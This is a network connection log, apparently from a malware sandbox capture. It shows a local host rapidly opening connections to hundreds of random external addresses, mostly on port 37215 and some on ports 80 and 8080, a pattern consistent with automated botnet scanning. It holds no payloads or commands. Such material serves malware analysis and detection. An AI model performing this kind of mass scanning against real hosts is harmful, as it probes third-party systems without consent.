Feb 19, 2025 19:48:57.232019901 CET	7685	80	192.168.2.15	88.107.119.6
Feb 19, 2025 19:48:57.232053995 CET	7685	80	192.168.2.15	88.120.172.98
Feb 19, 2025 19:48:57.232070923 CET	7685	80	192.168.2.15	88.209.38.85
Feb 19, 2025 19:48:57.232089996 CET	7685	80	192.168.2.15	88.184.173.161
Feb 19, 2025 19:48:57.232103109 CET	7685	80	192.168.2.15	88.230.20.69
Feb 19, 2025 19:48:57.232117891 CET	7685	80	192.168.2.15	88.139.19.59
Feb 19, 2025 19:48:57.232131004 CET	7685	80	192.168.2.15	88.158.142.5
Feb 19, 2025 19:48:57.232142925 CET	7685	80	192.168.2.15	88.229.247.240
Feb 19, 2025 19:48:57.232162952 CET	7685	80	192.168.2.15	88.105.213.44
Feb 19, 2025 19:48:57.232180119 CET	7685	80	192.168.2.15	88.103.235.199
Feb 19, 2025 19:48:57.232245922 CET	7685	80	192.168.2.15	88.58.254.174
Feb 19, 2025 19:48:57.232330084 CET	8080	7173	31.112.102.231	192.168.2.15
Feb 19, 2025 19:48:57.232364893 CET	7173	8080	192.168.2.15	31.112.102.231
Feb 19, 2025 19:48:57.248541117 CET	35936	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:57.248542070 CET	52752	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:57.248541117 CET	48772	37215	192.168.2.15	157.170.4.234
Feb 19, 2025 19:48:57.248542070 CET	33540	37215	192.168.2.15	157.173.0.78
Feb 19, 2025 19:48:57.248555899 CET	56016	80	192.168.2.15	88.203.127.224
Feb 19, 2025 19:48:57.248557091 CET	41194	8080	192.168.2.15	95.209.100.23
Feb 19, 2025 19:48:57.248558998 CET	40530	37215	192.168.2.15	157.12.102.34
Feb 19, 2025 19:48:57.248559952 CET	49698	37215	192.168.2.15	157.101.163.217
Feb 19, 2025 19:48:57.248562098 CET	34598	37215	192.168.2.15	157.65.82.221
Feb 19, 2025 19:48:57.248562098 CET	54422	37215	192.168.2.15	157.227.55.64
Feb 19, 2025 19:48:57.248562098 CET	38550	37215	192.168.2.15	157.124.121.54
Feb 19, 2025 19:48:57.248564959 CET	33506	37215	192.168.2.15	157.7.91.6
Feb 19, 2025 19:48:57.248563051 CET	36066	37215	192.168.2.15	157.75.232.177
Feb 19, 2025 19:48:57.248567104 CET	49440	37215	192.168.2.15	157.75.239.239
Feb 19, 2025 19:48:57.248574018 CET	33226	37215	192.168.2.15	157.45.244.195
Feb 19, 2025 19:48:57.248574972 CET	60072	37215	192.168.2.15	157.97.83.17
Feb 19, 2025 19:48:57.248584032 CET	35228	37215	192.168.2.15	157.147.174.213
Feb 19, 2025 19:48:57.254501104 CET	80	35936	88.101.160.168	192.168.2.15
Feb 19, 2025 19:48:57.254517078 CET	37215	52752	157.252.141.128	192.168.2.15
Feb 19, 2025 19:48:57.254658937 CET	52752	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:57.254666090 CET	35936	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:57.254666090 CET	35936	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:57.254863024 CET	52752	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:57.254956961 CET	52752	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:57.260108948 CET	37215	52752	157.252.141.128	192.168.2.15
Feb 19, 2025 19:48:57.260473013 CET	80	35936	88.101.160.168	192.168.2.15
Feb 19, 2025 19:48:57.260516882 CET	35936	80	192.168.2.15	88.101.160.168
Feb 19, 2025 19:48:57.270294905 CET	37215	56166	157.18.199.7	192.168.2.15
Feb 19, 2025 19:48:57.270309925 CET	37215	39176	157.109.54.98	192.168.2.15
Feb 19, 2025 19:48:57.270322084 CET	37215	33356	157.104.59.86	192.168.2.15
Feb 19, 2025 19:48:57.280534029 CET	46000	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:57.280540943 CET	43040	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:57.280543089 CET	42920	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:57.280543089 CET	44736	37215	192.168.2.15	157.213.190.50
Feb 19, 2025 19:48:57.280543089 CET	60670	37215	192.168.2.15	157.39.0.231
Feb 19, 2025 19:48:57.280566931 CET	44382	37215	192.168.2.15	157.6.66.52
Feb 19, 2025 19:48:57.280566931 CET	59210	37215	192.168.2.15	157.167.92.184
Feb 19, 2025 19:48:57.280570030 CET	34200	37215	192.168.2.15	157.117.159.25
Feb 19, 2025 19:48:57.280572891 CET	40446	37215	192.168.2.15	157.250.149.227
Feb 19, 2025 19:48:57.280577898 CET	46910	37215	192.168.2.15	157.255.21.232
Feb 19, 2025 19:48:57.280580044 CET	39186	37215	192.168.2.15	157.108.38.231
Feb 19, 2025 19:48:57.280580997 CET	36328	37215	192.168.2.15	157.153.238.208
Feb 19, 2025 19:48:57.280586004 CET	35222	37215	192.168.2.15	157.222.109.202
Feb 19, 2025 19:48:57.280589104 CET	52812	37215	192.168.2.15	157.187.34.78
Feb 19, 2025 19:48:57.280590057 CET	37438	37215	192.168.2.15	157.255.175.63
Feb 19, 2025 19:48:57.280596972 CET	42926	37215	192.168.2.15	157.97.175.235
Feb 19, 2025 19:48:57.280606031 CET	38024	37215	192.168.2.15	157.157.116.80
Feb 19, 2025 19:48:57.280606985 CET	58534	37215	192.168.2.15	157.97.230.53
Feb 19, 2025 19:48:57.285660028 CET	37215	46000	157.46.139.112	192.168.2.15
Feb 19, 2025 19:48:57.285675049 CET	37215	43040	157.145.29.54	192.168.2.15
Feb 19, 2025 19:48:57.285684109 CET	37215	42920	157.10.166.48	192.168.2.15
Feb 19, 2025 19:48:57.285713911 CET	46000	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:57.285716057 CET	43040	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:57.285717964 CET	42920	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:57.285804987 CET	6405	37215	192.168.2.15	157.41.154.113
Feb 19, 2025 19:48:57.285823107 CET	6405	37215	192.168.2.15	157.165.48.37
Feb 19, 2025 19:48:57.285831928 CET	6405	37215	192.168.2.15	157.114.157.10
Feb 19, 2025 19:48:57.285844088 CET	6405	37215	192.168.2.15	157.62.219.59
Feb 19, 2025 19:48:57.285876989 CET	6405	37215	192.168.2.15	157.122.134.64
Feb 19, 2025 19:48:57.285892963 CET	6405	37215	192.168.2.15	157.213.20.211
Feb 19, 2025 19:48:57.285902023 CET	6405	37215	192.168.2.15	157.166.60.106
Feb 19, 2025 19:48:57.285904884 CET	6405	37215	192.168.2.15	157.65.109.38
Feb 19, 2025 19:48:57.285912037 CET	6405	37215	192.168.2.15	157.27.109.79
Feb 19, 2025 19:48:57.285931110 CET	6405	37215	192.168.2.15	157.89.188.35
Feb 19, 2025 19:48:57.285959005 CET	6405	37215	192.168.2.15	157.46.118.128
Feb 19, 2025 19:48:57.285973072 CET	6405	37215	192.168.2.15	157.21.197.31
Feb 19, 2025 19:48:57.285984039 CET	6405	37215	192.168.2.15	157.18.161.43
Feb 19, 2025 19:48:57.286041975 CET	6405	37215	192.168.2.15	157.184.177.163
Feb 19, 2025 19:48:57.286061049 CET	6405	37215	192.168.2.15	157.149.55.76
Feb 19, 2025 19:48:57.286082983 CET	6405	37215	192.168.2.15	157.247.113.238
Feb 19, 2025 19:48:57.286124945 CET	6405	37215	192.168.2.15	157.71.241.214
Feb 19, 2025 19:48:57.286127090 CET	6405	37215	192.168.2.15	157.82.103.81
Feb 19, 2025 19:48:57.286142111 CET	6405	37215	192.168.2.15	157.102.254.249
Feb 19, 2025 19:48:57.286154032 CET	6405	37215	192.168.2.15	157.205.251.64
Feb 19, 2025 19:48:57.286168098 CET	6405	37215	192.168.2.15	157.139.81.251
Feb 19, 2025 19:48:57.286185980 CET	6405	37215	192.168.2.15	157.138.90.33
Feb 19, 2025 19:48:57.286218882 CET	6405	37215	192.168.2.15	157.227.3.12
Feb 19, 2025 19:48:57.286218882 CET	6405	37215	192.168.2.15	157.248.179.214
Feb 19, 2025 19:48:57.286232948 CET	6405	37215	192.168.2.15	157.121.161.122
Feb 19, 2025 19:48:57.286253929 CET	6405	37215	192.168.2.15	157.4.112.66
Feb 19, 2025 19:48:57.286283970 CET	6405	37215	192.168.2.15	157.193.2.52
Feb 19, 2025 19:48:57.286288023 CET	6405	37215	192.168.2.15	157.180.241.187
Feb 19, 2025 19:48:57.286300898 CET	6405	37215	192.168.2.15	157.186.222.0
Feb 19, 2025 19:48:57.286313057 CET	6405	37215	192.168.2.15	157.196.133.114
Feb 19, 2025 19:48:57.286334991 CET	6405	37215	192.168.2.15	157.159.245.60
Feb 19, 2025 19:48:57.286345959 CET	6405	37215	192.168.2.15	157.17.242.18
Feb 19, 2025 19:48:57.286367893 CET	6405	37215	192.168.2.15	157.199.205.25
Feb 19, 2025 19:48:57.286382914 CET	6405	37215	192.168.2.15	157.19.35.161
Feb 19, 2025 19:48:57.286398888 CET	6405	37215	192.168.2.15	157.137.95.237
Feb 19, 2025 19:48:57.286426067 CET	6405	37215	192.168.2.15	157.50.157.180
Feb 19, 2025 19:48:57.286444902 CET	6405	37215	192.168.2.15	157.170.214.95
Feb 19, 2025 19:48:57.286462069 CET	6405	37215	192.168.2.15	157.34.226.86
Feb 19, 2025 19:48:57.286475897 CET	6405	37215	192.168.2.15	157.135.21.173
Feb 19, 2025 19:48:57.286488056 CET	6405	37215	192.168.2.15	157.83.117.242
Feb 19, 2025 19:48:57.286492109 CET	6405	37215	192.168.2.15	157.129.41.118
Feb 19, 2025 19:48:57.286533117 CET	6405	37215	192.168.2.15	157.21.132.207
Feb 19, 2025 19:48:57.286536932 CET	6405	37215	192.168.2.15	157.226.236.205
Feb 19, 2025 19:48:57.286557913 CET	6405	37215	192.168.2.15	157.220.209.74
Feb 19, 2025 19:48:57.286570072 CET	6405	37215	192.168.2.15	157.0.218.196
Feb 19, 2025 19:48:57.286588907 CET	6405	37215	192.168.2.15	157.44.66.35
Feb 19, 2025 19:48:57.286608934 CET	6405	37215	192.168.2.15	157.213.21.186
Feb 19, 2025 19:48:57.286623001 CET	6405	37215	192.168.2.15	157.15.194.221
Feb 19, 2025 19:48:57.286648989 CET	6405	37215	192.168.2.15	157.50.219.252
Feb 19, 2025 19:48:57.286676884 CET	6405	37215	192.168.2.15	157.64.149.92
Feb 19, 2025 19:48:57.286689997 CET	6405	37215	192.168.2.15	157.227.191.177
Feb 19, 2025 19:48:57.286716938 CET	6405	37215	192.168.2.15	157.218.236.225
Feb 19, 2025 19:48:57.286734104 CET	6405	37215	192.168.2.15	157.142.222.77
Feb 19, 2025 19:48:57.286741018 CET	6405	37215	192.168.2.15	157.24.75.21
Feb 19, 2025 19:48:57.286756039 CET	6405	37215	192.168.2.15	157.44.46.29
Feb 19, 2025 19:48:57.286776066 CET	6405	37215	192.168.2.15	157.154.37.186
Feb 19, 2025 19:48:57.286803007 CET	6405	37215	192.168.2.15	157.146.245.172
Feb 19, 2025 19:48:57.286823988 CET	6405	37215	192.168.2.15	157.63.3.208
Feb 19, 2025 19:48:57.286835909 CET	6405	37215	192.168.2.15	157.84.113.248
Feb 19, 2025 19:48:57.286850929 CET	6405	37215	192.168.2.15	157.100.31.168
Feb 19, 2025 19:48:57.286873102 CET	6405	37215	192.168.2.15	157.62.81.159
Feb 19, 2025 19:48:57.286885023 CET	6405	37215	192.168.2.15	157.114.124.231
Feb 19, 2025 19:48:57.286909103 CET	6405	37215	192.168.2.15	157.125.110.187
Feb 19, 2025 19:48:57.286926031 CET	6405	37215	192.168.2.15	157.14.110.54
Feb 19, 2025 19:48:57.286948919 CET	6405	37215	192.168.2.15	157.85.149.81
Feb 19, 2025 19:48:57.286968946 CET	6405	37215	192.168.2.15	157.152.186.184
Feb 19, 2025 19:48:57.287003040 CET	6405	37215	192.168.2.15	157.31.190.74
Feb 19, 2025 19:48:57.287022114 CET	6405	37215	192.168.2.15	157.94.249.168
Feb 19, 2025 19:48:57.287034988 CET	6405	37215	192.168.2.15	157.204.134.71
Feb 19, 2025 19:48:57.287054062 CET	6405	37215	192.168.2.15	157.207.175.109
Feb 19, 2025 19:48:57.287061930 CET	6405	37215	192.168.2.15	157.1.98.112
Feb 19, 2025 19:48:57.287069082 CET	6405	37215	192.168.2.15	157.244.126.4
Feb 19, 2025 19:48:57.287086964 CET	6405	37215	192.168.2.15	157.97.88.20
Feb 19, 2025 19:48:57.287112951 CET	6405	37215	192.168.2.15	157.227.151.42
Feb 19, 2025 19:48:57.287132025 CET	6405	37215	192.168.2.15	157.163.153.191
Feb 19, 2025 19:48:57.287142992 CET	6405	37215	192.168.2.15	157.54.132.208
Feb 19, 2025 19:48:57.287157059 CET	6405	37215	192.168.2.15	157.216.98.203
Feb 19, 2025 19:48:57.287169933 CET	6405	37215	192.168.2.15	157.35.28.188
Feb 19, 2025 19:48:57.287189007 CET	6405	37215	192.168.2.15	157.207.40.95
Feb 19, 2025 19:48:57.287213087 CET	6405	37215	192.168.2.15	157.8.232.171
Feb 19, 2025 19:48:57.287229061 CET	6405	37215	192.168.2.15	157.98.226.210
Feb 19, 2025 19:48:57.287242889 CET	6405	37215	192.168.2.15	157.164.63.250
Feb 19, 2025 19:48:57.287256956 CET	6405	37215	192.168.2.15	157.151.52.139
Feb 19, 2025 19:48:57.287277937 CET	6405	37215	192.168.2.15	157.143.63.138
Feb 19, 2025 19:48:57.287319899 CET	6405	37215	192.168.2.15	157.143.82.10
Feb 19, 2025 19:48:57.287331104 CET	6405	37215	192.168.2.15	157.234.37.120
Feb 19, 2025 19:48:57.287334919 CET	6405	37215	192.168.2.15	157.40.98.95
Feb 19, 2025 19:48:57.287345886 CET	6405	37215	192.168.2.15	157.112.171.94
Feb 19, 2025 19:48:57.287358999 CET	6405	37215	192.168.2.15	157.68.78.68
Feb 19, 2025 19:48:57.287372112 CET	6405	37215	192.168.2.15	157.212.45.109
Feb 19, 2025 19:48:57.287391901 CET	6405	37215	192.168.2.15	157.166.32.57
Feb 19, 2025 19:48:57.287405014 CET	6405	37215	192.168.2.15	157.89.21.177
Feb 19, 2025 19:48:57.287426949 CET	6405	37215	192.168.2.15	157.153.208.229
Feb 19, 2025 19:48:57.287442923 CET	6405	37215	192.168.2.15	157.204.157.252
Feb 19, 2025 19:48:57.287472010 CET	6405	37215	192.168.2.15	157.195.83.213
Feb 19, 2025 19:48:57.287480116 CET	6405	37215	192.168.2.15	157.206.22.25
Feb 19, 2025 19:48:57.287503958 CET	6405	37215	192.168.2.15	157.35.196.48
Feb 19, 2025 19:48:57.287511110 CET	6405	37215	192.168.2.15	157.213.221.188
Feb 19, 2025 19:48:57.287530899 CET	6405	37215	192.168.2.15	157.213.207.100
Feb 19, 2025 19:48:57.287544012 CET	6405	37215	192.168.2.15	157.137.241.154
Feb 19, 2025 19:48:57.287578106 CET	6405	37215	192.168.2.15	157.185.166.184
Feb 19, 2025 19:48:57.287585974 CET	6405	37215	192.168.2.15	157.250.87.254
Feb 19, 2025 19:48:57.287606955 CET	6405	37215	192.168.2.15	157.113.255.33
Feb 19, 2025 19:48:57.287628889 CET	6405	37215	192.168.2.15	157.171.241.254
Feb 19, 2025 19:48:57.287650108 CET	6405	37215	192.168.2.15	157.222.203.189
Feb 19, 2025 19:48:57.287664890 CET	6405	37215	192.168.2.15	157.140.178.213
Feb 19, 2025 19:48:57.287697077 CET	6405	37215	192.168.2.15	157.74.235.108
Feb 19, 2025 19:48:57.287699938 CET	6405	37215	192.168.2.15	157.10.33.220
Feb 19, 2025 19:48:57.287734032 CET	6405	37215	192.168.2.15	157.151.3.5
Feb 19, 2025 19:48:57.287740946 CET	6405	37215	192.168.2.15	157.132.158.142
Feb 19, 2025 19:48:57.287755013 CET	6405	37215	192.168.2.15	157.112.192.13
Feb 19, 2025 19:48:57.287775040 CET	6405	37215	192.168.2.15	157.44.48.22
Feb 19, 2025 19:48:57.287781000 CET	6405	37215	192.168.2.15	157.115.204.107
Feb 19, 2025 19:48:57.287794113 CET	6405	37215	192.168.2.15	157.188.141.115
Feb 19, 2025 19:48:57.287822008 CET	6405	37215	192.168.2.15	157.44.67.186
Feb 19, 2025 19:48:57.287837982 CET	6405	37215	192.168.2.15	157.76.249.180
Feb 19, 2025 19:48:57.287869930 CET	6405	37215	192.168.2.15	157.56.168.220
Feb 19, 2025 19:48:57.287878990 CET	6405	37215	192.168.2.15	157.7.138.163
Feb 19, 2025 19:48:57.287888050 CET	6405	37215	192.168.2.15	157.203.111.5
Feb 19, 2025 19:48:57.287919044 CET	6405	37215	192.168.2.15	157.129.127.79
Feb 19, 2025 19:48:57.287925005 CET	6405	37215	192.168.2.15	157.124.164.123
Feb 19, 2025 19:48:57.287960052 CET	6405	37215	192.168.2.15	157.79.185.186
Feb 19, 2025 19:48:57.287976980 CET	6405	37215	192.168.2.15	157.56.186.51
Feb 19, 2025 19:48:57.287985086 CET	6405	37215	192.168.2.15	157.78.126.188
Feb 19, 2025 19:48:57.288002968 CET	6405	37215	192.168.2.15	157.147.238.168
Feb 19, 2025 19:48:57.288024902 CET	6405	37215	192.168.2.15	157.153.93.96
Feb 19, 2025 19:48:57.288034916 CET	6405	37215	192.168.2.15	157.144.190.110
Feb 19, 2025 19:48:57.288067102 CET	6405	37215	192.168.2.15	157.187.97.150
Feb 19, 2025 19:48:57.288101912 CET	6405	37215	192.168.2.15	157.97.198.67
Feb 19, 2025 19:48:57.288105011 CET	6405	37215	192.168.2.15	157.218.222.49
Feb 19, 2025 19:48:57.288105011 CET	6405	37215	192.168.2.15	157.88.229.242
Feb 19, 2025 19:48:57.288114071 CET	6405	37215	192.168.2.15	157.63.85.238
Feb 19, 2025 19:48:57.288132906 CET	6405	37215	192.168.2.15	157.197.113.78
Feb 19, 2025 19:48:57.288147926 CET	6405	37215	192.168.2.15	157.229.227.97
Feb 19, 2025 19:48:57.288166046 CET	6405	37215	192.168.2.15	157.103.221.253
Feb 19, 2025 19:48:57.288184881 CET	6405	37215	192.168.2.15	157.97.147.222
Feb 19, 2025 19:48:57.288203001 CET	6405	37215	192.168.2.15	157.230.157.231
Feb 19, 2025 19:48:57.288222075 CET	6405	37215	192.168.2.15	157.173.104.57
Feb 19, 2025 19:48:57.288233995 CET	6405	37215	192.168.2.15	157.123.51.168
Feb 19, 2025 19:48:57.288252115 CET	6405	37215	192.168.2.15	157.125.112.57
Feb 19, 2025 19:48:57.288269997 CET	6405	37215	192.168.2.15	157.239.8.46
Feb 19, 2025 19:48:57.288283110 CET	6405	37215	192.168.2.15	157.113.69.188
Feb 19, 2025 19:48:57.288302898 CET	6405	37215	192.168.2.15	157.175.52.91
Feb 19, 2025 19:48:57.288311958 CET	6405	37215	192.168.2.15	157.195.150.255
Feb 19, 2025 19:48:57.288351059 CET	6405	37215	192.168.2.15	157.102.112.87
Feb 19, 2025 19:48:57.288361073 CET	6405	37215	192.168.2.15	157.111.43.23
Feb 19, 2025 19:48:57.288379908 CET	6405	37215	192.168.2.15	157.58.118.148
Feb 19, 2025 19:48:57.288403034 CET	6405	37215	192.168.2.15	157.236.229.39
Feb 19, 2025 19:48:57.288434982 CET	6405	37215	192.168.2.15	157.197.216.189
Feb 19, 2025 19:48:57.288441896 CET	6405	37215	192.168.2.15	157.204.247.97
Feb 19, 2025 19:48:57.288441896 CET	6405	37215	192.168.2.15	157.147.129.152
Feb 19, 2025 19:48:57.288481951 CET	6405	37215	192.168.2.15	157.110.56.147
Feb 19, 2025 19:48:57.288489103 CET	6405	37215	192.168.2.15	157.230.0.112
Feb 19, 2025 19:48:57.288515091 CET	6405	37215	192.168.2.15	157.193.116.174
Feb 19, 2025 19:48:57.288532019 CET	6405	37215	192.168.2.15	157.14.2.7
Feb 19, 2025 19:48:57.288552999 CET	6405	37215	192.168.2.15	157.7.40.245
Feb 19, 2025 19:48:57.288578987 CET	6405	37215	192.168.2.15	157.200.72.105
Feb 19, 2025 19:48:57.288595915 CET	6405	37215	192.168.2.15	157.130.132.65
Feb 19, 2025 19:48:57.288611889 CET	6405	37215	192.168.2.15	157.181.85.117
Feb 19, 2025 19:48:57.288651943 CET	6405	37215	192.168.2.15	157.141.96.83
Feb 19, 2025 19:48:57.288706064 CET	46000	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:57.288722992 CET	43040	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:57.288732052 CET	42920	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:57.288764000 CET	43040	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:57.288780928 CET	46000	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:57.288789988 CET	42920	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:57.292251110 CET	37215	6405	157.143.82.10	192.168.2.15
Feb 19, 2025 19:48:57.292294025 CET	6405	37215	192.168.2.15	157.143.82.10
Feb 19, 2025 19:48:57.293692112 CET	37215	46000	157.46.139.112	192.168.2.15
Feb 19, 2025 19:48:57.293718100 CET	37215	43040	157.145.29.54	192.168.2.15
Feb 19, 2025 19:48:57.293744087 CET	37215	42920	157.10.166.48	192.168.2.15
Feb 19, 2025 19:48:57.306219101 CET	37215	52752	157.252.141.128	192.168.2.15
Feb 19, 2025 19:48:57.312663078 CET	33610	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:57.312663078 CET	49406	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:57.312668085 CET	39438	37215	192.168.2.15	157.124.214.237
Feb 19, 2025 19:48:57.312669039 CET	47766	37215	192.168.2.15	157.22.137.177
Feb 19, 2025 19:48:57.312669039 CET	57724	37215	192.168.2.15	157.0.253.209
Feb 19, 2025 19:48:57.312669039 CET	42092	37215	192.168.2.15	157.63.241.148
Feb 19, 2025 19:48:57.312669039 CET	34084	37215	192.168.2.15	157.32.13.248
Feb 19, 2025 19:48:57.312669039 CET	58166	37215	192.168.2.15	157.199.61.228
Feb 19, 2025 19:48:57.312669039 CET	44038	37215	192.168.2.15	157.130.32.160
Feb 19, 2025 19:48:57.312674046 CET	37094	37215	192.168.2.15	157.60.210.41
Feb 19, 2025 19:48:57.312674046 CET	57924	37215	192.168.2.15	157.196.110.129
Feb 19, 2025 19:48:57.312688112 CET	49310	37215	192.168.2.15	157.92.247.21
Feb 19, 2025 19:48:57.312688112 CET	38110	37215	192.168.2.15	157.179.96.212
Feb 19, 2025 19:48:57.312688112 CET	56960	37215	192.168.2.15	157.62.24.168
Feb 19, 2025 19:48:57.312688112 CET	54310	37215	192.168.2.15	157.35.49.229
Feb 19, 2025 19:48:57.312690973 CET	59458	37215	192.168.2.15	157.144.127.188
Feb 19, 2025 19:48:57.312690973 CET	43290	37215	192.168.2.15	157.188.164.249
Feb 19, 2025 19:48:57.312690973 CET	44522	37215	192.168.2.15	157.235.10.181
Feb 19, 2025 19:48:57.312690973 CET	42370	37215	192.168.2.15	157.111.6.45
Feb 19, 2025 19:48:57.312690973 CET	43450	37215	192.168.2.15	157.112.95.101
Feb 19, 2025 19:48:57.312690973 CET	54614	37215	192.168.2.15	157.32.74.46
Feb 19, 2025 19:48:57.312695980 CET	52064	37215	192.168.2.15	157.228.176.146
Feb 19, 2025 19:48:57.312696934 CET	33986	37215	192.168.2.15	157.141.217.54
Feb 19, 2025 19:48:57.312696934 CET	42156	37215	192.168.2.15	157.178.69.163
Feb 19, 2025 19:48:57.312696934 CET	48844	37215	192.168.2.15	157.238.186.254
Feb 19, 2025 19:48:57.317708015 CET	37215	33610	157.92.110.238	192.168.2.15
Feb 19, 2025 19:48:57.317719936 CET	37215	49406	157.225.104.229	192.168.2.15
Feb 19, 2025 19:48:57.317759991 CET	33610	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:57.317763090 CET	49406	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:57.319046974 CET	60474	37215	192.168.2.15	157.143.82.10
Feb 19, 2025 19:48:57.319674015 CET	49406	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:57.319688082 CET	33610	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:57.319714069 CET	49406	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:57.319725990 CET	33610	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:57.324048996 CET	37215	60474	157.143.82.10	192.168.2.15
Feb 19, 2025 19:48:57.324120998 CET	60474	37215	192.168.2.15	157.143.82.10
Feb 19, 2025 19:48:57.324167967 CET	60474	37215	192.168.2.15	157.143.82.10
Feb 19, 2025 19:48:57.324183941 CET	60474	37215	192.168.2.15	157.143.82.10
Feb 19, 2025 19:48:57.324768066 CET	37215	49406	157.225.104.229	192.168.2.15
Feb 19, 2025 19:48:57.324779034 CET	37215	33610	157.92.110.238	192.168.2.15
Feb 19, 2025 19:48:57.329139948 CET	37215	60474	157.143.82.10	192.168.2.15
Feb 19, 2025 19:48:57.338219881 CET	37215	42920	157.10.166.48	192.168.2.15
Feb 19, 2025 19:48:57.338265896 CET	37215	46000	157.46.139.112	192.168.2.15
Feb 19, 2025 19:48:57.338280916 CET	37215	43040	157.145.29.54	192.168.2.15
Feb 19, 2025 19:48:57.344537973 CET	56052	37215	192.168.2.15	157.2.40.204
Feb 19, 2025 19:48:57.344540119 CET	45362	37215	192.168.2.15	157.207.49.122
Feb 19, 2025 19:48:57.344547987 CET	44634	37215	192.168.2.15	157.203.147.185
Feb 19, 2025 19:48:57.344568968 CET	33954	37215	192.168.2.15	157.216.236.144
Feb 19, 2025 19:48:57.344574928 CET	39214	37215	192.168.2.15	157.189.83.196
Feb 19, 2025 19:48:57.344575882 CET	56064	37215	192.168.2.15	157.54.64.170
Feb 19, 2025 19:48:57.344578981 CET	59104	37215	192.168.2.15	157.113.175.168
Feb 19, 2025 19:48:57.344578981 CET	53318	37215	192.168.2.15	157.74.67.67
Feb 19, 2025 19:48:57.344580889 CET	36478	37215	192.168.2.15	157.215.250.213
Feb 19, 2025 19:48:57.344579935 CET	38686	37215	192.168.2.15	157.41.219.112
Feb 19, 2025 19:48:57.344580889 CET	43352	37215	192.168.2.15	157.55.125.139
Feb 19, 2025 19:48:57.344584942 CET	51108	37215	192.168.2.15	157.235.33.184
Feb 19, 2025 19:48:57.344584942 CET	44674	37215	192.168.2.15	157.69.44.30
Feb 19, 2025 19:48:57.344588041 CET	53964	37215	192.168.2.15	157.54.105.151
Feb 19, 2025 19:48:57.344592094 CET	35668	37215	192.168.2.15	157.246.226.168
Feb 19, 2025 19:48:57.344600916 CET	57264	37215	192.168.2.15	157.198.215.232
Feb 19, 2025 19:48:57.344602108 CET	48490	37215	192.168.2.15	157.181.198.107
Feb 19, 2025 19:48:57.344603062 CET	46186	37215	192.168.2.15	157.18.208.108
Feb 19, 2025 19:48:57.344603062 CET	45946	37215	192.168.2.15	157.203.220.61
Feb 19, 2025 19:48:57.344603062 CET	59560	37215	192.168.2.15	157.189.64.227
Feb 19, 2025 19:48:57.344603062 CET	51860	37215	192.168.2.15	157.28.71.143
Feb 19, 2025 19:48:57.344611883 CET	56932	37215	192.168.2.15	157.79.103.231
Feb 19, 2025 19:48:57.344613075 CET	60656	37215	192.168.2.15	157.134.9.56
Feb 19, 2025 19:48:57.344621897 CET	44032	37215	192.168.2.15	157.97.246.236
Feb 19, 2025 19:48:57.344624043 CET	56840	37215	192.168.2.15	157.208.78.80
Feb 19, 2025 19:48:57.344626904 CET	45820	37215	192.168.2.15	157.103.213.37
Feb 19, 2025 19:48:57.344640970 CET	49466	37215	192.168.2.15	157.187.46.226
Feb 19, 2025 19:48:57.344641924 CET	33830	37215	192.168.2.15	157.89.8.90
Feb 19, 2025 19:48:57.344644070 CET	43820	37215	192.168.2.15	157.123.45.107
Feb 19, 2025 19:48:57.344646931 CET	46042	37215	192.168.2.15	157.177.168.193
Feb 19, 2025 19:48:57.344646931 CET	56596	37215	192.168.2.15	157.192.33.156
Feb 19, 2025 19:48:57.344650984 CET	37564	37215	192.168.2.15	157.93.79.145
Feb 19, 2025 19:48:57.344660044 CET	55706	37215	192.168.2.15	157.217.202.228
Feb 19, 2025 19:48:57.344661951 CET	39066	37215	192.168.2.15	157.78.133.244
Feb 19, 2025 19:48:57.344661951 CET	60040	37215	192.168.2.15	157.234.173.200
Feb 19, 2025 19:48:57.344669104 CET	34928	37215	192.168.2.15	157.1.87.224
Feb 19, 2025 19:48:57.344679117 CET	59008	37215	192.168.2.15	157.172.209.39
Feb 19, 2025 19:48:57.344686031 CET	44760	37215	192.168.2.15	157.168.127.79
Feb 19, 2025 19:48:57.344692945 CET	59556	37215	192.168.2.15	157.59.87.196
Feb 19, 2025 19:48:57.344692945 CET	48630	37215	192.168.2.15	157.6.106.18
Feb 19, 2025 19:48:57.344693899 CET	46500	37215	192.168.2.15	157.65.86.28
Feb 19, 2025 19:48:57.344700098 CET	53220	37215	192.168.2.15	157.201.234.32
Feb 19, 2025 19:48:57.344700098 CET	55986	37215	192.168.2.15	157.121.107.218
Feb 19, 2025 19:48:57.344700098 CET	60314	37215	192.168.2.15	157.209.164.148
Feb 19, 2025 19:48:57.344700098 CET	48206	37215	192.168.2.15	157.107.96.135
Feb 19, 2025 19:48:57.344702005 CET	50722	37215	192.168.2.15	157.132.178.136
Feb 19, 2025 19:48:57.344707012 CET	52328	37215	192.168.2.15	157.11.59.27
Feb 19, 2025 19:48:57.344713926 CET	44314	37215	192.168.2.15	157.51.255.55
Feb 19, 2025 19:48:57.344715118 CET	47028	37215	192.168.2.15	157.223.98.64
Feb 19, 2025 19:48:57.349687099 CET	37215	45362	157.207.49.122	192.168.2.15
